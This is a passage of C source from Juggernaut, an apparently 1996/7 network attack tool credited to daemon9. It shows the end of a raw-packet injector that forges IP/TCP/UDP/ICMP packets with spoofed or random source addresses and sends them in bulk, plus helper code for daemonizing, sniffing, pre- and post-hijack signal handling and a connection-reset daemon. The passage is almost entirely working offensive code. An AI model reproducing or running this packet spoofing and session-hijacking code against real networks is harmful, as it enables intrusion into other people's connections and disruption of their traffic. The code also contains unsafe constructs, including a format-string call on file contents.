  3458.                 fgets(buf,sizeof(buf),stdin);
  3459.             if(buf[0]=='r'){            
  3460.             rippack.ip.ttl=random()&0xff;
  3461.             packetready|=0x08;
  3462.                 break;
  3463.             }
  3464.             if(buf[0]=='q'||(val=atoi(buf))<0||val>255){
  3465.             if(packetready&0x08)packetready^=0x08;
  3466.             rippack.ip.ttl=0;
  3467.             break;
  3468.                 }
  3469.             rippack.ip.ttl=val;
  3470.             packetready|=0x08;
  3471.             break;
  3472.         case 5:            /* Source Address */
  3473.                 bzero(sip,sizeof(sip));
  3474.             fprintf(stderr,"\nSource Address [qr] >");
  3475.                 fgets(buf,sizeof(buf),stdin);
  3476.         if(buf[0]==0x0a||buf[0]=='q'){
  3477.             if(packetready&0x10)packetready^=0x10;
  3478.             rippack.ip.saddr=0;
  3479.             break;
  3480.                 }
  3481.                 if(buf[0]=='r'){
  3482.                     rippack.ip.saddr=htonl(random());
  3483.                     strncpy(sip,hostLookup(rippack.ip.saddr),sizeof(sip));
  3484.                     packetready|=0x10;
  3485.                     break;
  3486.                 }
  3487.                 strncpy(sip,buf,sizeof(sip));
  3488.                 for(i=0;i<2*MINIBUF;i++)if(!sip[i])break;
  3489.                 sip[--i]=0;                     
  3490.                    if(!(rippack.ip.saddr=nameResolve(buf))){
  3491.             fprintf(stderr,"Cannot resolve IP address.\n");
  3492.                 fprintf(stderr,"[cr]");
  3493.                     getchar();
  3494.             bzero(sip,sizeof(sip));            
  3495.             if(packetready&0x10)packetready^=0x10;
  3496.             break;
  3497.             }
  3498.                 packetready|=0x10;
  3499.             break;
  3500.         case 6:            /* Destination Address */
  3501.                 bzero(dip,sizeof(dip));
  3502.             fprintf(stderr,"\nDestination Address [qr] >");
  3503.                 fgets(buf,sizeof(buf),stdin);
  3504.             if(buf[0]==0x0a||buf[0]=='q'){
  3505.                 if(packetready&0x20)packetready^=0x20;
  3506.                 rippack.ip.daddr=0;
  3507.                 break;
  3508.                 }
  3509.                 if(buf[0]=='r'){
  3510.                     strncpy(dip,hostLookup(rippack.ip.daddr),sizeof(dip));
  3511.                     rippack.ip.daddr=htonl(random());
  3512.                     packetready|=0x20;
  3513.                     break;
  3514.                 }
  3515.                 strncpy(dip,buf,sizeof(dip));
  3516.                 for(i=0;i<2*MINIBUF;i++)if(!dip[i])break;
  3517.                 dip[--i]=0;
  3518.             if(!(rippack.ip.daddr=nameResolve(buf))){
  3519.                 fprintf(stderr,"Cannot resolve IP address.\n");
  3520.                 fprintf(stderr,"[cr]");
  3521.                     getchar();
  3522.                 bzero(dip,sizeof(dip));
  3523.                 if(packetready&0x20)packetready^=0x20;
  3524.                 break;
  3525.             }
  3526.             packetready|=0x20;
  3527.             break;
  3528.         case 7:                     /* Number of packets to send */
  3529.                 fprintf(stderr,"\nAmount (1 - 65536) [qr] >");
  3530.                 fgets(buf,sizeof(buf),stdin);
  3531.                 if(buf[0]=='r'){
  3532.                     number=(random()&0xffff);
  3533.                     packetready|=0x40;
  3534.                     break;
  3535.                 }
  3536.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65536){
  3537.                     if(packetready&0x40)packetready^=0x40;
  3538.                     number=0;
  3539.                     break;
  3540.                 }
  3541.                 number=val;
  3542.                 packetready|=0x40;
  3543.                 break;
  3544.             case 8:                /* Return */
  3545.                 loopsentry=0;
  3546.                 bzero(&rippack,sizeof(rippack));
  3547.             break;
  3548.             case 9:
  3549.                 loopsentry=0;
  3550.                 woe=1;
  3551.                 break;
  3552.             case 10:            
  3553.                 if(packetready==0x7f){
  3554.             sin.sin_family=AF_INET;         
  3555.                     sin.sin_port=0;
  3556.  
  3557.                     rippack.ip.version=4;            /* IPv4 */
  3558.                     rippack.ip.ihl=5;                /* This will change 
  3559.                                                            if options are
  3560.                                                            present */
  3561.             switch(transport){              
  3562.                 case NOTRANSPORT:        /* IP packet only */
  3563.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  3564.  
  3565.                             rippack.ip.protocol=IPPROTO_IP;
  3566.  
  3567.                     break;
  3568.                 case TCPTRANSPORT:        /* TCP */
  3569.                             sin.sin_port=tpack.tcp.source;
  3570.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  3571.                         
  3572.                             rippack.ip.protocol=IPPROTO_TCP;
  3573.  
  3574.                             tempBuf=(char *)malloc(PHDR+TCPHDR+BUFSIZE);
  3575.                             ppheader=(struct psuedoHeader *)tempBuf;
  3576.  
  3577.                             ppheader->saddr=rippack.ip.saddr;
  3578.                             ppheader->daddr=rippack.ip.daddr;
  3579.                             ppheader->prot=IPPROTO_TCP;
  3580.                             ppheader->null=0;
  3581.                             ppheader->tlen=htons(TCPHDR+BUFSIZE);
  3582.  
  3583.                             bcopy(&tpack,tempBuf+PHDR,PHDR+TCPHDR+BUFSIZE);
  3584.                             tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+BUFSIZE);
  3585.                             free(tempBuf);
  3586.                             bcopy((char *)&tpack,(char *)&rippack.payload,TCPHDR+BUFSIZE);
  3587.  
  3588.                             break;
  3589.                 case UDPTRANSPORT:        /* UDP */
  3590.                             sin.sin_port=upack.udp.source;
  3591.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  3592.  
  3593.                 rippack.ip.protocol=IPPROTO_UDP;
  3594.  
  3595.                             tempBuf=(char *)malloc(PHDR+UDPHDR+BUFSIZE);
  3596.                             ppheader=(struct psuedoHeader *)tempBuf;
  3597.  
  3598.                             ppheader->saddr=rippack.ip.saddr;
  3599.                             ppheader->daddr=rippack.ip.daddr;
  3600.                             ppheader->prot=IPPROTO_UDP;
  3601.                             ppheader->null=0;
  3602.                             ppheader->tlen=htons(UDPHDR+BUFSIZE);
  3603.  
  3604.                             bcopy(&upack,tempBuf+PHDR,PHDR+UDPHDR+BUFSIZE);
  3605.                             upack.udp.check=in_cksum((unsigned short *)tempBuf,PHDR+UDPHDR+BUFSIZE);
  3606.                             free(tempBuf);
  3607.                             bcopy((char *)&upack,(char *)&rippack.payload,UDPHDR+BUFSIZE);
  3608.  
  3609.                             break;
  3610.                 case ICMPTRANSPORT:        /* ICMP */
  3611.                             sin.sin_addr.s_addr=rippack.ip.daddr;
  3612.  
  3613.                 rippack.ip.protocol=IPPROTO_ICMP;
  3614.             
  3615.                             break;
  3616.                 default:        /* Control should never fall here */
  3617.                 if(verbosity)perror("RIP Assembler [unknown transport]");
  3618.                 exit(1);
  3619.             }
  3620.                     for(k=number,i=0;i<number;i++){
  3621.                         if((j=sendto(ripsock,&rippack,RIPPACKETSIZE,0,(struct sockaddr *)&sin,sizeof(sin)))<RIPPACKETSIZE){
  3622.                     fprintf(stderr,"Packet # %d: Wrote only %d bytes to raw socket\n",i,j);
  3623.                             k--;
  3624.                 if(verbosity)perror("RIP module sendto");
  3625.                 }
  3626.                     }
  3627.             fprintf(stderr,"%d Packet(s) injected.\n",k);
  3628.             getchar();
  3629.             break;
  3630.             }
  3631.             continue;
  3632.         default: 
  3633.                 continue;
  3634.         }
  3635.     }
  3636.                                 /* NOTREACHED */
  3637. }
  3638. <-->
  3639. <++> Juggernaut/NumberOneCrush/surplus.c
  3640. /*
  3641.  *
  3642.  *                                  Juggernaut
  3643.  *                                  Version b2
  3644.  *
  3645.  *                            1996/7 Guild productions
  3646.  *                           daemon9[guild|phrack|r00t]
  3647.  *
  3648.  *                         comments to route@infonexus.com
  3649.  *
  3650.  *  This coding project made possible by a grant from the Guild corporation
  3651.  * 
  3652.  *  surplus.c - helper functions
  3653.  * 
  3654.  */
  3655.  
  3656. #include <string.h>
  3657. #include <signal.h>
  3658. #include <stdio.h>
  3659. #include <fcntl.h>
  3660. #include <unistd.h>
  3661. #include <netdb.h>
  3662. #include <arpa/inet.h>
  3663. #include <sys/stat.h>
  3664. #include <sys/ioctl.h>
  3665. #include <sys/types.h>
  3666. #include <sys/wait.h>
  3667.  
  3668. #define HELPFILE    "./ClothLikeGauze/.help"
  3669. #define FBUFSIZE     80
  3670. #define MINIBUF      10
  3671.  
  3672. extern int verbosity;    
  3673.  
  3674.  
  3675. /*
  3676.  *  IP address into network byte order
  3677.  */
  3678.                  
  3679. unsigned long nameResolve(hostname)
  3680. char *hostname;
  3681. {
  3682.         
  3683.     struct in_addr addr;
  3684.     struct hostent *hostEnt; 
  3685.    
  3686.     if((addr.s_addr=inet_addr(hostname))==-1){
  3687.         if(!(hostEnt=gethostbyname(hostname)))return(0);
  3688.         bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  3689.     }
  3690.     return addr.s_addr;
  3691. }
  3692.  
  3693. #ifdef FASTCHECK
  3694.  
  3695. /*
  3696.  *  Fast IP checksum routine.
  3697.  */
  3698.  
  3699. unsigned short in_cksum(buff,len)
  3700. unsigned char *buff;
  3701. int len;
  3702. {
  3703.     unsigned long sum = 0;
  3704.     if (len>3){
  3705.         __asm__("clc\n"
  3706.         "1:\t"
  3707.         "lodsl\n\t"
  3708.         "adcl %%eax, %%ebx\n\t"
  3709.         "loop 1b\n\t"
  3710.         "adcl $0, %%ebx\n\t"
  3711.         "movl %%ebx, %%eax\n\t"
  3712.         "shrl $16, %%eax\n\t"
  3713.         "addw %%ax, %%bx\n\t"
  3714.         "adcw $0, %%bx"
  3715.         : "=b" (sum) , "=S" (buff)
  3716.         : "0" (sum), "c" (len >> 2) ,"1" (buff)
  3717.         : "ax", "cx", "si", "bx" );
  3718.     }
  3719.     if(len&2){
  3720.         __asm__("lodsw\n\t"
  3721.         "addw %%ax, %%bx\n\t"      
  3722.         "adcw $0, %%bx"
  3723.         : "=b" (sum), "=S" (buff)
  3724.         : "0" (sum), "1" (buff)
  3725.         : "bx", "ax", "si");
  3726.     }
  3727.     if(len&1){
  3728.         __asm__("lodsb\n\t"
  3729.         "movb $0, %%ah\n\t"
  3730.         "addw %%ax, %%bx\n\t"
  3731.         "adcw $0, %%bx"
  3732.         : "=b" (sum), "=S" (buff)
  3733.         : "0" (sum), "1" (buff)
  3734.         : "bx", "ax", "si");
  3735.     }                     
  3736.     sum =~sum;
  3737.     return(sum&0xffff);
  3738. }
  3739.  
  3740. #else
  3741.  
  3742. /*
  3743.  *  IP Family checksum routine
  3744.  */
  3745.  
  3746. unsigned short in_cksum(ptr,nbytes)
  3747. unsigned short *ptr;
  3748. int nbytes;
  3749. {
  3750.                         
  3751.     register long sum=0;        /* assumes long == 32 bits */
  3752.     u_short oddbyte;
  3753.     register u_short answer;    /* assumes u_short == 16 bits */
  3754.         
  3755.     while(nbytes>1){
  3756.         sum+=*ptr++;
  3757.         nbytes-=2;    
  3758.     }
  3759.     if(nbytes==1){              /* mop up an odd byte, if necessary */
  3760.         oddbyte=0;              /* make sure top half is zero */
  3761.         *((u_char *)&oddbyte)=*(u_char *)ptr;   /* one byte only */
  3762.         sum+=oddbyte;
  3763.     }               
  3764.     sum+=(sum>>16);             /* add carry */
  3765.     answer=~sum;                /* ones-complement, then truncate to 16 bits */
  3766.     return(answer);
  3767. }
  3768.  
  3769. #endif 
  3770.  
  3771. /*
  3772.  *  Network byte order into IP address
  3773.  */
  3774.  
  3775. char *hostLookup(in)
  3776. unsigned long in;
  3777. {
  3778.  
  3779.     #define BUFSIZE         256
  3780.  
  3781.     char hostname[BUFSIZE]={0};
  3782.     struct in_addr addr;
  3783. #ifdef USENAME
  3784.     struct hostent *hostEnt;
  3785. #endif
  3786.    
  3787.     addr.s_addr=in;
  3788.     
  3789. #ifdef USENAME
  3790.     hostEnt=gethostbyaddr((char *)&addr,sizeof(struct in_addr),AF_INET);
  3791.     if(!hostEnt)
  3792. #endif
  3793.  
  3794.         strcpy(hostname,inet_ntoa(addr));           /* KLUDGEY. */
  3795.  
  3796. #ifdef USENAME
  3797.     else strcpy(hostname,hostEnt->h_name);
  3798. #endif
  3799.     return(strdup(hostname));
  3800. }
  3801.  
  3802. /*
  3803.  *  Simple daemonizing procedure.
  3804.  */   
  3805.  
  3806. int shadow(void){
  3807.  
  3808.     int fd,pid;
  3809.     extern int errno;
  3810.  
  3811.     signal(SIGTTOU,SIG_IGN);    /* Ignore these signals */
  3812.     signal(SIGTTIN,SIG_IGN);
  3813.     signal(SIGTSTP,SIG_IGN);
  3814.  
  3815.     switch((pid=fork())){
  3816.         case 0:                 /* Child */
  3817.             break;
  3818.         default:        
  3819.             exit(0);            /* Parent */
  3820.         case -1:
  3821.             fprintf(stderr,"Forking Error\n");
  3822.             exit(1);
  3823.     }
  3824.     setpgrp();
  3825.     if((fd=open("/dev/tty",O_RDWR))>=0){
  3826.         ioctl(fd,TIOCNOTTY,(char *)NULL);
  3827.         close(fd);
  3828.     }
  3829.     errno=0;
  3830.     chdir("/");
  3831.     umask(0);
  3832.     return(pid);
  3833. }
  3834.  
  3835.  
  3836. /*
  3837.  *  Keeps processes from zombiing on us...
  3838.  */
  3839.         
  3840. static void reaper(signo)
  3841. int signo;
  3842. {
  3843.     pid_t pid;
  3844.     int sys;
  3845.  
  3846.     pid=wait(&sys); 
  3847.     signal(SIGCHLD,reaper);
  3848.     return;
  3849. }
  3850.  
  3851.  
  3852. /*
  3853.  *  Dump usage and exit.
  3854.  */
  3855.  
  3856. void usage(nomenclature)
  3857. char *nomenclature;
  3858. {
  3859.     fprintf(stderr,"\n\nUsage:\t%s [-h] [-s TOKEN [-e xx] ] [-v] [-t xx]\n\n
  3860.     -h terse help
  3861.     -H expanded help for those 'specially challanged' people...
  3862.     -s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing
  3863.     -e enticement factor (defaults to 16)
  3864.     -v decrease verbosity (don't do this)
  3865.     -V version information
  3866.     -t xx network read timeout in seconds (defaults to 10)
  3867.     Invoked without arguments, Juggernaut starts in `normal` mode.\n\n",nomenclature);
  3868.     exit(0);
  3869. }
  3870.  
  3871.  
  3872. /*
  3873.  *  Simple file pager.
  3874.  */
  3875.  
  3876. void bookworm(){
  3877.  
  3878.     FILE *fp;
  3879.     char tempBuf[FBUFSIZE],buf[MINIBUF];
  3880.     int i=0;
  3881.  
  3882.     if(!(fp=fopen(HELPFILE,"r"))){
  3883.         if(verbosity){
  3884.             fprintf(stderr,"Cannot open help file.\n");
  3885.             fprintf(stderr,"[cr]");
  3886.             getchar();
  3887.             return;
  3888.         }
  3889.     }
  3890.     while(fgets(tempBuf,FBUFSIZE-1,fp)){
  3891.         fprintf(stderr,tempBuf);
  3892.         if(i==24){
  3893.             fprintf(stderr,"\n[cr,q] >");
  3894.             bzero(&buf,sizeof(buf));
  3895.             fgets(buf,sizeof(buf-1),stdin);
  3896.             if(buf[0]=='q')break;
  3897.             i=0;
  3898.         }
  3899.         else i++;
  3900.     }
  3901. }
  3902.  
  3903.  
  3904. /*
  3905.  *  Main signal handler to facilitate clean exits.
  3906.  */
  3907.  
  3908. void twitch(){
  3909.  
  3910.     void cleanexit();
  3911.  
  3912.     if(verbosity)fprintf(stderr,"\nCaught signal, exiting cleanly.\n");
  3913.     signal(SIGINT,SIG_DFL);
  3914.     signal(SIGQUIT,SIG_DFL);
  3915.     cleanexit();
  3916. }
  3917.  
  3918.  
  3919. /*
  3920.  *  Used as a catchall to cleanly exit proccesses
  3921.  */
  3922.  
  3923. void spasm(){
  3924.  
  3925.     extern int linksock;
  3926.  
  3927.     if(linksock)close(linksock);        /* Hunter should have this... */
  3928.     exit(0);
  3929. }
  3930.  
  3931.  
  3932. /*
  3933.  *  Spy signal handler.
  3934.  */ 
  3935.                     
  3936. void convulsion(){
  3937.  
  3938.     void twitch();
  3939.     
  3940.     extern int sigsentry;
  3941.  
  3942.     if(verbosity)fprintf(stderr,"\nCaught signal.\n");
  3943.     fprintf(stderr,"[cr]");
  3944.     getchar();
  3945.     signal(SIGINT,twitch);
  3946.     sigsentry=0;
  3947. }
  3948.  
  3949.  
  3950. /*
  3951.  *  Pre-hijacking signal handler.
  3952.  */
  3953.  
  3954. void sputter(){
  3955.  
  3956.     void twitch();
  3957.  
  3958.     extern int sigsentry;
  3959.  
  3960.     if(verbosity)fprintf(stderr,"\nCaught prehijack signal.\n");
  3961.     signal(SIGINT,twitch);
  3962.     sigsentry=0;
  3963. }      
  3964.  
  3965.  
  3966. /*
  3967.  *  Post-hijacking signal handler.
  3968.  */
  3969.  
  3970. void seizure(){
  3971.  
  3972.     void twitch();
  3973.  
  3974.     extern int sigsentry;
  3975.  
  3976.     if(verbosity)fprintf(stderr,"\nCaught posthijack signal.\n");
  3977.     sigsentry=0;
  3978.     signal(SIGINT,twitch);
  3979. }      
  3980.  
  3981. /*
  3982.  *  Exit Cleanly.
  3983.  */
  3984.  
  3985. void cleanexit(){
  3986.  
  3987.     void powerdown();
  3988.  
  3989.     extern int ripsock;
  3990.     extern int hpid;
  3991.     extern int acrstpid;
  3992.  
  3993.     close(ripsock);
  3994.     powerdown();
  3995.     if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
  3996.         perror("(cleanexit) Could not signal hunter");
  3997.         fprintf(stderr,"[cr]");
  3998.         getchar();
  3999.     }
  4000.     if(acrstpid)    /* Send signal to the automated connection reset daemon. 
  4001.                        XXX - This only signals one daemon!  If more exist, 
  4002.                        they will be left stranded! */
  4003.         if(kill(acrstpid,SIGUSR1))if(verbosity){ 
  4004.         perror("(cleanexit) Could not signal ACRSTD"); 
  4005.         fprintf(stderr,"[cr]");    
  4006.         getchar();                     
  4007.         }                                  
  4008.     fprintf(stderr,"Juggernaut is a Guild Corporation production, (c) 1996/7.\n\n");
  4009.     exit(0);
  4010. }
  4011.   
  4012. <-->
  4013.  
  4014. EOF
  4015.